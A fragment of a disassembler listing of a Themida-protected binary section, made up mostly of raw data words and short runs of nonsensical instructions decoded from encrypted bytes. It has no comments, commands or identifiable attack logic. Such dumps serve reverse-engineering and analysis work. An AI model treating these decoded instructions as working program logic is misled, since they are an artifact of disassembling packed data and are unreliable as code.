		dd 813C7B4Bh, 365F03EDh, 0F5010C8Ah, 880C5C2h, 74FF555Eh
		dd 5D04240Ch, 285C788Fh, 0FE6EC481h, 1959FE34h,	12570168h
		dd 54268289h, 8FEC8158h, 8C47A14h, 0D19209A8h, 22C8460Ah
		dd 51588318h, 7C12A3B9h, 0FFE9191Eh, 99311070h,	8B0633DCh
		dd 7A59B6D7h, 57986CE9h, 0DE0F684Ch, 0AA69F240h, 39822Bh
		dd 0AFA2FBB9h, 7DF901A3h, 51112A5Fh, 12EA82DCh,	154116Bh
		dd 0D7E9C440h, 5510C529h, 5DD72368h, 0D69F59BBh, 0E915C7CBh
		dd 2AC80AFh, 4840D1EAh,	67074066h, 1EB80A36h, 6937348Bh
		dd 329B608h, 3C8BFA01h,	6E404A14h, 5A94D8A9h, 16E83C75h
		dd 0C78D0BBh, 0FFB6BC35h, 7C123160h, 4E0C638Bh,	3ECF8385h
		dd 3265C8Ch, 5DAA0051h,	0DF3127FCh, 431C8B29h, 0E9F98984h
		dd 30ED286h, 5A205709h,	0C1A46F81h, 4065A4DCh, 210F84CEh
		dd 0C100047Dh, 0FBDEF09Ch, 0AB88A9E9h, 505804A6h, 507E7F68h
		dd 0C48134D4h, 3258360Ch, 13A6D412h, 0C9D988B1h, 0B7FD41CEh
		dd 0AF59A228h, 76C7C20h, 315C4C05h, 7813A212h, 84B1BECBh
		dd 0F657818Ch, 51274D5h, 2B6BC0DAh, 0E95612A8h,	29154EFDh
		dd 95440DD7h, 41FE0D51h, 0BA5A55C8h, 0E6BD066Ch, 2A5E381Ch
		dd 35402BEh, 77B45066h
		dd 58B0E588h
; ---------------------------------------------------------------------------


loc_518B7C:				; CODE XREF: Themida_:00518BF7j
		xor	dl, ch
		xchg	eax, edx
		setalc
		test	al, 65h
		push	ebx
		push	edx
		or	[esi+24ADE935h], esi
		pusha
		pop	ebp
		sub	byte ptr [edi+3B9C4BA7h], 64h
		add	[eax-41h], ecx
		inc	eax
		or	[eax-66h], bl
		das
		add	[edi+ecx-41h], ebx
		enter	0FFFF8957h, 0E7h
		popa
		lock add [esi-17h], cl
		mov	[eax+eax*8+0Ah], al
		xor	eax, 6E61EA7h
		hlt
; ---------------------------------------------------------------------------
		dw 48BAh
		dd 662671EBh
		db 41h,	85h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esi, edx
		jge	short loc_518C0F
		outsd
		jnp	short loc_518BE4
		xor	[ebx+edi*2+94F2430h], eax
		jg	short near ptr loc_518BCF+2
		dec	ecx
		push	ecx


loc_518BCF:				; CODE XREF: Themida_:00518BCBj
		test	dword ptr [eax-167EA65Ch], 0F863860Ch
		db	67h
		std
		js	short loc_518C55
		sub	edi, [esi]
		sub	ecx, eax
		xchg	eax, ebp
		cmp	al, 0Dh


loc_518BE4:				; CODE XREF: Themida_:00518BC2j
		cwde
		db	2Eh
		pop	dx
		pop	eax
		or	[ebx], edx
		add	[ebx], ecx
		push	eax
		pop	es
		cmp	al, 4Eh
		adc	al, dl
		popa
		sub	edx, ecx
		nop
		jp	short loc_518B7C
		or	[edi+58h], bh
		paddq	mm7, qword ptr [ebp-2E1C2265h]
		jmp	near ptr 90FC2302h
; ---------------------------------------------------------------------------
		dd 0A3027389h
		db 0FDh, 0D9h, 0D5h
; ---------------------------------------------------------------------------


loc_518C0F:				; CODE XREF: Themida_:00518BBFj
		or	[esi-55h], edx
		inc	byte ptr [ebx]
		mov	ebp, 7C8662FAh
		push	edx
		icebp
		cmp	bh, ch
		cmpsb
		xor	dh, bh
		wait
		add	esp, [eax+10003C6h]
		retn
; ---------------------------------------------------------------------------
		dd 55D3F758h, 0E26DE8E9h, 0D110565Dh, 3F6E0B5h,	7EDC0DDh
		dd 63E7CD80h, 0F5B008E5h, 0EB482897h, 50DB1033h, 2D24C045h
		dd 0F2896F66h
		db 0E6h
; ---------------------------------------------------------------------------


loc_518C55:				; CODE XREF: Themida_:00518BDBj
		daa
		dec	eax
		push	ds
		jbe	short loc_518CB6
		db	26h
		jns	short near ptr loc_518CBA+2
		adc	[eax-62h], eax
		insd
		aas
		sbb	[bx+49CAh], al
		push	es
		shr	edx, 0A0h
		leave
		test	byte ptr [ebx-36h], 26h
		xor	ebp, eax
		mov	ebx, edx
		cmp	al, 0A7h
		retf	68D0h
; ---------------------------------------------------------------------------
		db 28h,	81h, 35h
		dd 620CD591h, 0E18633C3h, 4ED0631h, 0F3A4755h, 0CC8B60Fh
		dd 8AA85051h, 96CDA611h, 1B216655h, 68004A10h, 929B5F20h
		dd 0E9750118h, 36E569ECh, 715F1300h, 8102115Ah
		db 0C3h, 0B9h
; ---------------------------------------------------------------------------


loc_518CB6:				; CODE XREF: Themida_:00518C58j
		push	esp
		adc	eax, [ecx-7Ch]


loc_518CBA:				; CODE XREF: Themida_:00518C5Aj
		mov	esi, 843F8205h
		add	eax, 0D8B326ADh
		add	[eax+58h], ch
		sub	[edi+27h], eax
		pop	edi
		sub	eax, 4D12045Dh
		dec	ebx
		add	eax, edi
		les	eax, [esi+40h]
		out	dx, al
		mov	ebp, 2DC4E6Ah
		sbb	[ecx+10D6EF5h],	al
		out	dx, al
		call	far ptr	26E9h:18C2929Ch
		hlt
; ---------------------------------------------------------------------------
		db 8Ah
		dd 883C645Ch, 0E337B502h, 64008F85h, 3C79692Eh,	393F281h
		dd 0E9755305h, 68038FDEh, 0DB6C2FBAh, 0DD01D176h, 525A8650h
		dd 26397AB2h, 80107DFEh, 8F082444h, 7B7D7C73h, 1A721F30h
		dd 9001C580h, 66030719h, 4920AE68h, 0E8B0C2A0h,	4B59A2E9h
		dd 0D5B1447Eh, 0E0E5306Eh, 212AD069h, 0F690EAh,	0D44DEDE2h
		dd 0C283420Fh, 2E6017Ah, 0FF6FF80Bh, 422D0F89h,	61335DEBh
		dd 6B4319Ch, 81FC4A0Dh,	0A56018Ch, 25293919h, 0BE3F40F0h
		dd 3023772h, 89E9DAF7h,	90C8C63Eh, 213B4084h, 776CCA7Fh
		dd 2E57380Fh, 16E0306Ah, 246C04D6h, 824A1D15h, 472698D2h
		dd 9552EF6Fh, 108048A2h, 81122378h, 875923EEh, 0F45C7226h
		dd 0B69EE98Eh, 2DD06540h, 62476884h, 414F6A7Ah,	0ED90160Bh
		dd 0DE2D490Dh, 0CA56DD00h, 4976B845h, 0D51E04E4h, 52F21750h
		dd 0F9B659C1h, 6827675Ah, 0E9D03744h, 8C18B244h, 2CA392BAh
		dd 473B5456h, 6B267828h, 0CA373516h, 900C76D2h,	94373908h
		dd 0EC9D4D06h, 16CD0502h, 94E4695Fh, 0F1A9258h,	1D313411h
		dd 0CD933245h, 683DA148h, 3355E905h, 0B4C7C040h, 3C779F39h
		dd 0EF28F701h, 9E91508h, 0BB0CE4DAh, 6E70E86Bh,	5700F3ABh
		dd 0E2D1C209h, 0B11F5968h, 38AFA469h, 1D6D6381h, 8307E0C1h
		dd 15680606h, 0C029605Dh, 125B8BBh, 0CB815F00h,	5D31486Fh
		dd 4BDB24F7h, 66EF04D2h, 461E8132h, 0BD38A60Eh,	0BF408D0Ch
		dd 0BDA7FEFh, 0FD01CEDEh, 14A6C682h, 0C16A340Ch, 2C78329h
		dd 4F1C6057h, 102312D4h, 0D159976Dh, 2E8F548Bh,	448331C5h
		dd 955A0AA1h, 505C0D0Ah, 73E7302Bh, 0AC07443Ch,	0C02604C1h
		dd 91297002h, 49CEC056h, 1974097Ch, 45AB61E9h, 0D393AE9Bh
		dd 47E5D1B4h, 0D1548E55h, 2558E9E0h, 0B14B5B9Eh, 5D9C8431h
		dd 7446789h, 4076AD00h,	22D4Ah,	0F75AED49h, 0E53EE9D0h
		dd 14BC6691h, 81F4904Eh, 621306EBh, 1D264BBFh, 1B0A6C2h
		dd 93CB4EAh, 7435F111h,	0C31C808Dh, 10FD2893h, 0AC3B2A17h
		dd 21972F17h, 4025693h,	65097081h, 0CA9298FCh, 64ABBF12h
		dd 3CCEC8F9h, 0F1282881h, 0F595013h, 64DD4FF9h,	348FE8B9h
		dd 3871C137h, 0C0ED13DBh, 6048C947h, 0B6890E4Dh, 0E915B8A2h
		dd 491E1C18h, 4C100278h, 68B67A7h, 8240BE50h, 33130CBDh
		dd 0C346235Eh, 0FC367028h, 155DEF24h, 4B1FA03Eh, 5B5C4853h
		dd 0B1C2E4Ah, 1459E9F0h, 810C0192h, 0E348E0E7h,	0F0CFD867h
		dd 2EA01914h, 0BAF1449Fh, 0E8757D0Fh, 0D8E44641h, 4BC60ED3h
		dd 78353278h, 0CD5CD218h, 2D1C5EF0h, 1857012Ch,	4D119A00h
		dd 0F757B4h, 0BEF181D1h, 19B3991h, 0CFE9C812h, 6997485h
		dd 0DD60AEECh, 11D18017h, 0F10162F2h, 8A1C1F0h,	200EAC5Eh
		dd 0C84AA269h, 0CB92E8DCh, 6F874C59h, 0A0E1F7C4h, 0B4266811h
		dd 0BA60954Ah, 98E91674h, 1AE2793Bh, 86291847h,	68134958h
		dd 17314DAAh, 0B4FC09B1h, 63D19484h, 25547F46h,	2F40B41Bh
		dd 0B8E3F253h, 1056822Bh, 9942E906h, 30296E8h, 0EA80C0D8h
		dd 2E41E3D7h, 0FFC6332Eh, 3FF6CE4Eh, 8AF9DECAh,	0C875E05h
		dd 0F8F798CCh, 0FD232EE9h, 87B7816Dh, 0CC04EFC0h, 0FE1D03E7h
		dd 0BE5C80C7h, 1EF8F7DCh, 5A6E5BFAh, 0CED1280Fh, 0C45AAEC1h
		dd 1E8159C8h, 8C058E06h, 1EBFDAEh, 3C8FC280h, 197C4BF2h
		dd 89B3166Bh, 20817582h, 95220D39h, 0D7F7184Bh,	0E9558AC1h
		dd 0A2FE9337h, 8105E390h, 653C09EBh, 710037BCh,	6DAC0FC4h
		dd 509066B8h, 0A05B0881h, 5CBB9F1Eh, 9B89A2A5h,	0CC95A8CEh
		dd 9017C489h, 0C4FABDA2h, 0C4E7891Ah, 0EFC93232h, 0B23C8710h
		dd 0AE5CD4ECh, 2D664078h, 945ED60Eh, 0A170A049h, 9150414Eh
		dd 64C50800h, 58C22900h, 1737F281h, 45567A17h, 71552555h
		dd 65ACA3h, 0B904C683h,	0BE0F0928h, 62168D02h, 71F09372h
		dd 0F750FC0Ch, 134ACDFh, 1AF038Eh, 28875FF8h, 0E8C18198h
		dd 71D2310Bh, 0E1614E30h, 0D832BB53h, 5AC1269Ah, 529B591Fh
		dd 0CD48740h, 426340ABh, 5B183C03h, 3A5FFB01h, 1E0C872Ah
		dd 81120934h, 7E6EE305h, 0DE141977h, 115601C8h,	0B3E9D901h
		dd 0D150F23Ch, 3946B00Dh, 4E4C5851h, 0A94B5988h, 41892ECh
		dd 0EE825482h, 0A5C112C6h, 58D8265Bh, 8DDBC4D4h, 5A2600A2h
		dd 1312CE24h, 8A0C0161h, 3476E2E9h, 2117986Bh, 0A60C2D5Ch
		dd 90E5598Bh, 0BB96B133h, 5E812C40h, 0C119ACh, 7F3E581h
		dd 45902FD3h, 73FBC200h, 0E9EB29DCh, 37455C15h,	0CDA109DEh
		dd 655121A2h, 0EEBEA82Ch, 2AE02540h, 0F1F3DB9Bh, 3C59CDA9h
		dd 0BA52A096h, 2C360145h, 8BD0014Dh, 0E9114C14h, 6721E824h
		dd 0D036F281h, 2CBE0351h, 89E1EA9Ah, 9C288D11h,	0D7EE8A40h
		dd 4A186363h, 527233BEh, 0B206C626h, 6A3196B3h,	963A0D06h
		dd 0DDCC91FEh, 3CBF35CCh, 8A3D8A0Ch, 7A1AF2A8h,	0BADF3647h
		dd 459A4950h, 0FF195975h, 4142BA73h, 5B43E91Bh,	0C579A269h
		dd 41B4A8BAh, 60973573h, 0BDB13B8Bh, 21685283h,	9C1DDA76h
		dd 3C0522ABh, 0BC45C500h, 0E889F02Bh, 0C6012C5Dh, 8719A0D5h
		dd 0A0E98493h, 85FE8983h, 17D96830h, 0D9867D51h, 841583C4h
		dd 84D12542h, 0B04C4DE3h, 3D51200Dh, 5243E41h, 5CA2FE5Ch
		dd 0AE80FD46h, 0C123114Ch, 4D02ED1Dh, 12F8E514h, 0AB37359Dh
		dd 444C782h, 0D328CC8Fh, 29EE51FBh, 106E2621h, 5F27DB39h
		dd 0E8E56222h, 5257110Ch, 0B8495F54h, 24BA1DDh,	6AF824h
		dd 0B342EDBFh, 0E7C10F0Ch, 90470702h, 3E790083h, 0B8501237h
		dd 0B11E333Ah, 67412541h, 0BAE91B3Dh, 0CE17F739h, 3F410159h
		dd 0F8286640h, 0F2BA251Dh, 0C92DF802h, 60045B73h, 125AC567h
		dd 140F746Eh, 4A1686EBh, 0EA55876Dh, 121C3408h,	89979014h
		dd 2AFEE9E6h, 0C1F3F1ACh, 0F5ED802Bh, 0ECB62CA5h, 985DF889h
		dd 0FEFB068Bh, 0A6094594h, 8BF878A0h, 8B24CB3Ch, 0A7ECE9F5h
		dd 20766827h, 0CC54550Ah, 0B12694F8h, 33CB000Dh, 0F78171CAh
		dd 28160C71h, 0B5104F0Eh, 783F00B2h, 0FE898AF8h, 0C6E9165Fh
		dd 3039898Dh, 0F015906h, 99BD7023h, 0F0804415h,	83616EEDh
		dd 0DD482947h, 365E33AFh, 0BEBA4858h, 3BA9518Fh, 0EAD16C23h
		dd 840FC2B0h, 0A27E2925h, 93E827Dh, 0A8E2DB8Eh,	0ADE193C7h
		dd 554534DEh, 3A06E3A0h, 0BD0EF407h, 41A1A5F0h,	2538C529h
		dd 53C0BECEh, 73E966AAh, 2D04BCBAh, 40A95D03h, 3F84DB94h
		dd 0F329B1D0h, 0C7DE7231h, 0F3505B09h, 1E4B74FBh, 0E14CB85Eh
		dd 880C1349h, 31811F21h, 0E7334A20h, 0D0961989h, 323C30ADh
		dd 71327C63h, 0F03419D2h, 48267355h, 972A4473h,	1468769Bh
		dd 0C10C1A4Eh, 14509474h, 2603BF4Ah, 436C0150h,	0A5E30FE9h
		dd 3F3B221Ah, 7A2C4E4h,	738A7B50h, 0A6A5CF01h, 5C7FCC4Ch
		dd 0FE46825h, 252FE4A3h, 2D7E1253h, 2352068h, 9C03E988h
		dd 0EB8007F0h, 0D08F85B2h, 3B90B875h, 2D374CFEh, 7DF20B8Ch
		dd 0A9DBA953h, 0E9553811h, 0C59699h, 16060559h,	0B5920E01h
		dd 0D5E90780h, 24C10F49h, 6B007BC6h, 5508191Dh,	0EEBE0056h
		dd 0BD5FA952h, 165FCD02h, 0E55ECD09h, 28BA1C6Fh, 0CFEA0169h
		dd 0E93CDD63h, 2D023C84h, 0A8C82805h, 0E950C3AEh, 833140C1h
		dd 0B70D16DEh, 0A128103Dh, 8004EDA7h, 80D5F658h, 778691C5h
		dd 8D46FE5h, 0A42AA3C4h, 62E1A289h, 36207DD1h, 44681367h
		dd 0CC9AC977h, 47A805E0h, 4BB18ACCh, 0C372FBCh,	7B82F6Fh
		dd 50650974h, 7ABB012Dh
		dd 20932134h, 315C1A9Bh, 9903D082h, 5C0271D4h, 0F9DF8196h
		dd 6A77E91Dh, 62A00C2Ch, 4E55B137h, 746A4991h, 0D30FF6C3h
		dd 366DA88h, 27D2B753h,	0E513E2BEh, 889DC09Bh, 0C4A8B47h
		dd 0E90910DFh, 0E56403B3h, 0BC2A5C60h, 0B6EFB963h, 0CD310D19h
		dd 21695C4Ch, 0C173AA98h, 2571074Ch, 3EFF19E5h,	8B60A354h
		dd 5CCE6859h, 0E9C4C807h, 40B4E135h, 184E37CBh,	3124617Bh
		dd 75A8CAF7h, 502B6817h, 5C8D98Ch, 0E970320Fh, 79D8E1C0h
		dd 0A9CDD7F8h, 0DD5E3020h, 872A8C67h, 0C1375A0Ch, 0E394BCE2h
		dd 9691EC14h, 0F39A0D92h, 2561601Eh, 0E7803DD6h, 2D087904h
		dd 910613Ch, 0F0BE80E0h, 0B98D2DC5h, 0BA812434h, 5266019Bh
		dd 2C92B050h, 0B101F1F0h, 0C00BF75Fh, 4019EC30h, 772BFF2Fh
		dd 5812A828h, 0C02C2E69h, 2AB468C2h, 0D404759h,	41745h
		dd 26F38143h, 0F749D329h, 23EBE0E7h, 198B201Fh,	0E92CB83h
		dd 28C62Eh, 0B8BE7FB2h,	0E95BD901h, 0CCCB8633h,	0E886054Bh
		dd 0F240CD4Fh, 3300929Bh, 7DB1B3Bh, 8EE0FC1h, 0A715B8E9h
		dd 4F58CD03h, 40D90F7Bh, 0EF398BF4h, 2521055Dh,	0FB53815Eh
		dd 0E3E42B5Eh, 29E37CEAh, 0B2C402C3h, 57593050h, 0E9513C71h
		dd 0B76335CDh, 0CA0F7209h, 0E182B40Dh, 0F539816Dh, 40047391h
		dd 0AAE69898h, 0B3005350h, 5BDC885Eh, 0F47B551h, 0F659EC08h
		dd 6E4C020h, 1C01B652h,	805AF428h, 0E1D8DBC4h, 2CCFF58h
		dd 75D175F6h, 0C1FE1CE9h, 2C208580h, 16278443h,	0B1A806D1h
		dd 3092EA4h, 595279E9h,	48551E7Fh, 0AD127D14h, 3B844212h
		dd 1FDD6EF0h, 12193A5Bh, 0D9305668h, 520F8161h,	0EAC060B2h
		dd 0F9A4CD41h, 35F1438Eh, 60B65547h, 653AAE1h, 0C105C8B8h
		dd 96FBEFDAh, 756FA602h, 99A64179h, 1B54374h, 4EDC032h
		dd 3012F580h, 8EA05758h, 0CD4CFE0Fh, 66B35E6h, 0E0E65881h
		dd 69A70A5h, 33903871h,	78253125h, 561700C7h, 555C9CCBh
		dd 25311497h, 6C00FAE9h, 5A1BB668h, 988B4C25h, 944ED9BDh
		dd 78BB691Fh, 0E9546E05h, 31F41C85h, 6821F95Ah,	0A02850ECh
		dd 3DD3EB54h, 6BBEFB55h, 5BC11FD8h, 0BFDA2958h,	0D99D939Dh
		dd 8C782623h, 74D669BCh, 51B1F217h, 949268D6h, 0E95104BBh
		dd 22B35F75h, 4012852Ch, 80CFFEDFh, 601EF30h, 2DF82832h
		dd 0BE0015E9h, 88DAB450h, 1B209FB0h, 0B55E5882h, 94997F27h
		dd 35FCBA56h, 3D03B2DDh, 0AFC9FE06h, 8716B7BEh,	35839C26h
		dd 9710D101h, 0FB1682DFh, 0BF1085ACh, 0B5CD0601h, 5FFD31CFh
		dd 6420EBEDh, 24DEEDh, 0F681DEF7h, 0C724B543h, 0AC120B26h
		dd 0F612E585h, 433DA86Dh, 0FA611D4Eh, 0C67D224Bh, 1302A3B1h
		dd 0F2D4BDE9h, 4290B288h, 1E1C2C77h, 0CE578B03h, 0EC4F5Fh
		dd 58E230E9h, 0C90ECA80h, 0BDFEEAD0h, 88AEF2C0h, 5B5FE9D5h
		dd 1D33413Ah, 2B71B633h, 0EB4B640Fh, 7AD562B4h,	0C9E5B170h
		dd 2EB4E849h, 0B25F8109h, 904FF05Ah, 88ED9157h,	56F7EE4h
		dd 75CC7C85h, 52D02588h, 0C59F78E5h, 8259EE89h,	0D40416Eh
		dd 298A41ACh, 52570044h, 4E170068h, 815A22B4h, 301D87F2h
		dd 0CA8173D0h, 60AB10CDh, 7C141886h, 0A4203E1Ch, 0CC80096Bh
		dd 5C8366D6h, 0E5BF305Ch, 5ABAF00Fh, 0A2C62924h, 5703C08h
		dd 0CD041D68h, 69E6CD0Ch, 5DC58545h, 16B601D8h,	50E759h
		dd 9F39371Eh, 0C124450Ah, 0FC084EEDh, 665B13F3h, 9AB00D1Dh
		dd 7EBFD940h, 6AAE1228h, 0D6DE0489h, 0B4FAF46Dh, 22040E01h
		dd 8105EAC1h, 0A8B290CFh, 0D68905DAh, 0F70F73E9h, 41444B41h
		dd 0B4CC8AC1h, 92D54808h, 6F2B184h, 400E97B5h, 0BB0E2CDAh
		dd 9304D828h, 17589108h, 3E0E0366h, 0AEB7C530h,	2BE9E803h
		dd 0C3805D02h, 65D98846h, 220A67Ch, 0DC7AE9FFh,	5165D45Eh
		dd 2E99FE84h, 0BF890E5Dh, 0BA96147Bh, 82EADC20h, 0F9D5E278h
		dd 504C0879h, 57AB4827h, 692609BFh, 80DA613Dh, 77740A30h
		dd 26759EF5h, 9F2A3Ch, 0C98F33E2h, 5D4CEE01h, 2B720B03h
		dd 0B8BE00A4h, 12168D6h, 1AEA053Dh, 0D42D3782h,	2303FB58h
		dd 8FE9D8F7h, 0BD58032Ch, 4F1163C8h, 6141560Ch,	94F79C26h
		dd 9D581B27h, 770828C9h, 0AB4B7AD3h, 219A1784h,	9985295Dh
		dd 4ADAA33Fh, 93C29BC7h, 887B5446h, 291615B5h, 0DC3DDC0h
		dd 59C02E11h, 1DD7101Eh, 0C8CDE2D1h, 0E60B2A2Dh, 25D07670h
		dd 36C566D5h, 620BB68h,	0E9FA2905h, 0C3E43474h,	58F14095h
		dd 0C39D6112h, 26C25509h, 7AC2D311h, 15B76F9Ch,	300BB2EDh
		dd 5F40E30Fh, 3D262A68h, 0A3DA5282h, 6BC9CB9Fh,	600B866h
		dd 8135C611h, 255CC3CEh, 0F60732EDh, 0F166543Ch, 0F4FA0014h
		dd 5115DD61h, 4BC2F001h, 0E91654CFh, 0C87984F1h, 52015DD2h
		dd 660D6853h, 5281092Fh, 942AA5EBh, 9CBD405Eh, 551464C4h
		dd 0B4B35A53h, 502DBAECh, 0D0B5F51Bh, 8710B6A0h, 5581A14h
		dd 4FE91606h, 19E15D53h, 0BEC0A36Ch, 42E73C05h,	69A8E916h
		dd 0D152F263h, 6181567Fh, 300D5DBDh, 0E65700Ah,	137C57E8h
		dd 0DE948F9Dh, 32CCF5C1h, 2B1BA8h, 0D0DA5363h, 0E80A01F9h
		dd 8F02055Dh, 0C3590E70h, 3E5C016h, 36EECBC1h, 0C59F5D04h
		dd 0F8D33DE9h, 3DC7DCADh, 0D8293041h, 0F420B08Bh, 0FD26F430h
		dd 0F149399Ch, 924E6AD8h, 90270450h, 7C810C1h, 198117Ah
		dd 8352C312h, 88308E80h, 1FC0BA08h, 0D20692F5h,	48F6EAh
		dd 4311DDCAh, 402FE970h, 0BBA0091Fh, 4F09152Dh,	0C10126FDh
		dd 433848C9h, 9CF4BB76h, 644B6462h, 86698354h, 0E238D951h
		dd 0F0FD85C3h, 72FE551Bh, 0B89774E3h, 8A51391h,	0E9042FFBh
		dd 0F5CC7EB0h, 3A503F3h, 53573862h, 16CFE001h, 68E94354h
		dd 34877564h, 800647F9h, 0C87E71C4h, 302A2890h,	36905149h
		dd 3C473201h, 0D0F7925Dh, 0CFE484CEh, 0A2C5942h, 5AA00E6Bh
		dd 5C583E68h, 0A1B5C1F1h, 31BFD7E9h, 2F22B895h,	97F57378h
		dd 4D258238h, 4256B225h, 9070902h, 0E337F86Ah, 8A5EF548h
		dd 5AD5484Eh, 0CD445F5Dh, 1023267h, 4D715EF3h, 6CD25C9Fh
		dd 2DBAE241h, 70303625h, 5FBF02CAh, 0DAF7290Eh,	7D05F77Ch
		dd 0C18016F2h, 58491CA7h, 33FCA41h, 7CE904FCh, 0EC2144DCh
		dd 5F31102Eh, 0A980355Bh, 0B8BAD887h, 182913A3h, 2578A60Ch
		dd 5546021h, 0B7E16AEh,	2D31003Ch, 0B14D98B7h, 9A01D490h
		dd 0E90F935Eh, 4334D4EDh, 0BBD0D5E0h, 5BDF290Fh, 0F487F94Dh
		dd 1BD346F6h, 0D9AAE104h, 8A27C9F9h, 0F289CD09h, 6153EA6Ah
		dd 0D7B01A12h, 2568175Ch, 0E2823720h, 4DC81665h, 0D3E4E288h
		dd 25C58DF4h, 0E0C0555Ah, 5B3E052Eh, 0C149282Ah, 0A603E22Ah
		dd 0B1D2F728h, 0AFACD3Eh, 19D589F5h, 57C961E9h,	5F220422h
		dd 4E6DE910h, 658486Ch,	145ECFA0h, 29F0510Bh, 0FBFA85D7h
		dd 0E916ABF6h, 0B8F0C0C9h, 5926658Fh, 250A392Eh, 0EB809868h
		dd 6FB52D5Dh, 492B4CE5h, 14070528h, 8FB9515Bh, 3153880Bh
		dd 0E627DD58h, 0B272EEEEh, 0D21D1432h, 8004E118h, 80738266h
		dd 851309EEh, 1825725Dh, 0EF3351D9h, 483B7F11h,	579F6716h
		dd 0B8943033h, 6C300711h, 6EC8602h, 167B822h, 0F74AF5F1h
		dd 35A9E90Ch, 0B60E2A95h, 0AB6883CCh, 0D861EA3Eh, 0FB5F541Dh
		dd 918F975Eh, 0BC48DFA4h, 58BDA2CCh, 0E6C11CAEh, 92EEDF05h
		dd 0BB75256h, 0E79682F8h, 0B4F21C40h, 41A63090h, 5B4CC731h
		dd 1343052Fh, 0D9026AD1h, 66D72DE9h, 0F0AF9CF2h, 5B4EDA31h
		dd 0D6058600h, 0F111C417h
		dd 7009421h, 931BE56h, 294F822Ah, 0E4E9B082h, 0BB04A370h
		dd 0D3E7EFEh, 4AA80182h, 52457CD9h, 0D2811C58h,	0C76A4201h
		dd 37427E74h, 2F0B0A70h, 6288350Fh, 8E7C105h, 1CFCE201h
		dd 40F9395Ah, 0F689053Eh, 83E608D6h, 47F2B27h, 0FEC8D094h
		dd 7163F5FDh, 7A2E7252h, 8AB0E8F9h, 88D25B42h, 0EB27BE1Bh
		dd 76BAA0E4h, 5C29F05Dh, 0BA7DE0D1h, 4A8BFA17h,	83C82C1Ch
		dd 8CBE02ECh, 66FCE904h, 1F04CBADh, 6517D78h, 0B136981Dh
		dd 0F42CB295h, 0DB26B771h, 0CBBFE330h, 0B9B04C6Dh, 4E877C2Dh
		dd 2C2E15Bh, 84A97C52h,	24FC4F9Fh, 0AA89558Bh, 0E910C7C6h
		dd 0BA1D3E52h, 54928B74h, 0E4299BA7h, 0C31BA85Dh, 0C2A4BF57h
		dd 0F76760A1h, 0E90DC2A0h, 427A4CABh, 0E188781Eh, 0C6CAADF9h
		dd 9CE92763h, 323410Ah,	812010Eh, 2B2481D9h, 0BD638431h
		dd 2E875D01h, 57C68A27h, 58809D19h, 377562ACh, 4CF94BF8h
		dd 10256891h, 0B5FC6421h, 62017B99h, 8AE14874h,	8180AF32h
		dd 0BE2D64F3h, 0C69B87Ch, 6B7D799Ah, 8E2E4C0Ch,	0D81546CBh
		dd 3A5627F0h, 0C2395E64h, 1A4AD6E9h, 69598509h,	0C317ED4Ah
		dd 78B25250h, 0A185D04Bh, 22D3C7B2h, 78D45238h,	48E9C1F0h
		dd 53A0F20Bh, 5E2893BBh, 0E300FCB8h, 583D7C2Fh,	0C443DBF7h
		dd 0C50C78E0h, 0C311B0EDh, 0E5978B02h, 0CA3BE9A0h, 62C17952h
		dd 210F0BB3h, 2CD8281Bh, 60EE53D1h, 0B1CD333Bh,	0B26395A0h
		dd 81D9290Bh, 0CB22C600h, 0E6FD5B55h, 8579806Ah, 4067DD9Fh
		dd 9ADBE918h, 0C9FE07A8h, 0A235F180h, 0A6D343DAh, 0E0027DA4h
		dd 0E263BF3Bh, 5566131h, 1884FE50h, 2B315C88h, 33166817h
		dd 8FC9516Bh, 6D493F5Ah, 6E10AA0Ah, 3716E003h, 0C4C8DB0Bh
		dd 0BDE60012h, 7AC14D1Eh, 353B3EB0h, 2E532618h,	0EAA01A1Ch
		dd 0ABC6003h, 802EB652h, 2812EE7Eh, 16B65AF0h, 401E7610h
		dd 7B03EBCCh, 136B266h,	0D4A6F2C3h, 0CB6806EBh,	1627310Ah
		dd 78643A54h, 8AC63CAFh, 0E9485A82h, 0DCDCEBE3h, 27BE1B6Ah
		dd 51450BFEh, 0BF526307h, 68AD341Ch, 0BB31492h,	0F60DA401h
		dd 6CBBE92Bh, 412850BAh, 17380524h, 631FAF00h, 2DD931EBh
		dd 0E18234E9h, 0C2D61C87h, 0BD0C0850h, 0A9B6E298h, 5AF18813h
		dd 0F6591600h, 48C280D2h, 0ED16253Dh, 0E9490328h, 0AD504130h
		dd 11B84E34h, 4B5B10Eh,	0C203BDA3h, 998BC580h, 43791EF5h
		dd 0B8E8DB40h, 0E9C80BDEh, 47520785h, 8B68C2EFh, 1C4A7721h
		dd 4165F198h, 0C93D300Dh, 16B3141h, 0F12E1595h,	0C682705Fh
		dd 62583A78h, 3CD03EC0h, 0D9F71264h, 521CC313h,	0D47D9BC3h
		dd 505EC2CAh, 4AF5FA89h, 0F29F89BAh, 84FB7A64h,	39685919h
		dd 5F48BDA3h, 0E89900D3h, 296A492Eh, 158C109h, 20CA8FF1h
		dd 0F71B1510h, 0CF90C0DFh, 0E97AA1C0h, 4984A44Ah, 0C2184A81h
		dd 3AE78100h, 378A7216h, 20C4A61Dh, 7B803F95h, 4C25351h
		dd 5FFE3154h, 0F69A8101h, 4B6D7F2Eh, 46220609h,	0B3F5134Ah
		dd 8C299399h, 425C27DAh, 7FE953DDh, 0E90E855Bh,	0CEAC3883h
		dd 565157C0h, 4575B268h, 1A41325Ch, 0C9A334E8h,	7BCEE39Ch
		dd 1062AD9Bh, 817B2C4Ah, 22368B0Dh, 68B52D2Ah, 10A9A733h
		dd 81548A14h, 76B0D85Fh, 0F1F11295h, 89E9613Bh,	92622C27h
		dd 0EA23A772h, 2CB559A2h, 169884Eh, 3091BE00h, 62090522h
		dd 5C33F4F3h, 0FC62B856h, 2650F9DBh, 4A6610C9h,	1E75A080h
		dd 0F061725Fh, 0E907A0EFh, 282394CFh, 6E011233h, 207B0902h
		dd 0DA257043h, 6786428Ch, 0CE45A779h, 47850E96h, 71D12182h
		dd 0C95394D8h, 0C37AB304h, 3DBEFC0Fh, 7F2701CFh, 3EFC16Ah
		dd 146DE0E7h, 47493023h, 7C8E8BAEh, 5B57DD12h, 16D84A0Bh
		dd 0C8293048h, 0FE79B15Ch, 3D4F2330h, 60CE142Eh, 12C70E39h
		dd 2A641E10h, 0AE806A64h, 5CF8296Ch, 0C31D2A5Fh, 7664412Bh
		dd 694960E9h, 163012AFh, 0D2C88EA9h, 3B90C42h, 9E48F989h
		dd 58CC4D64h, 9D46D8C3h, 8DA0BDCDh, 4D697F08h, 0ADDE893Eh
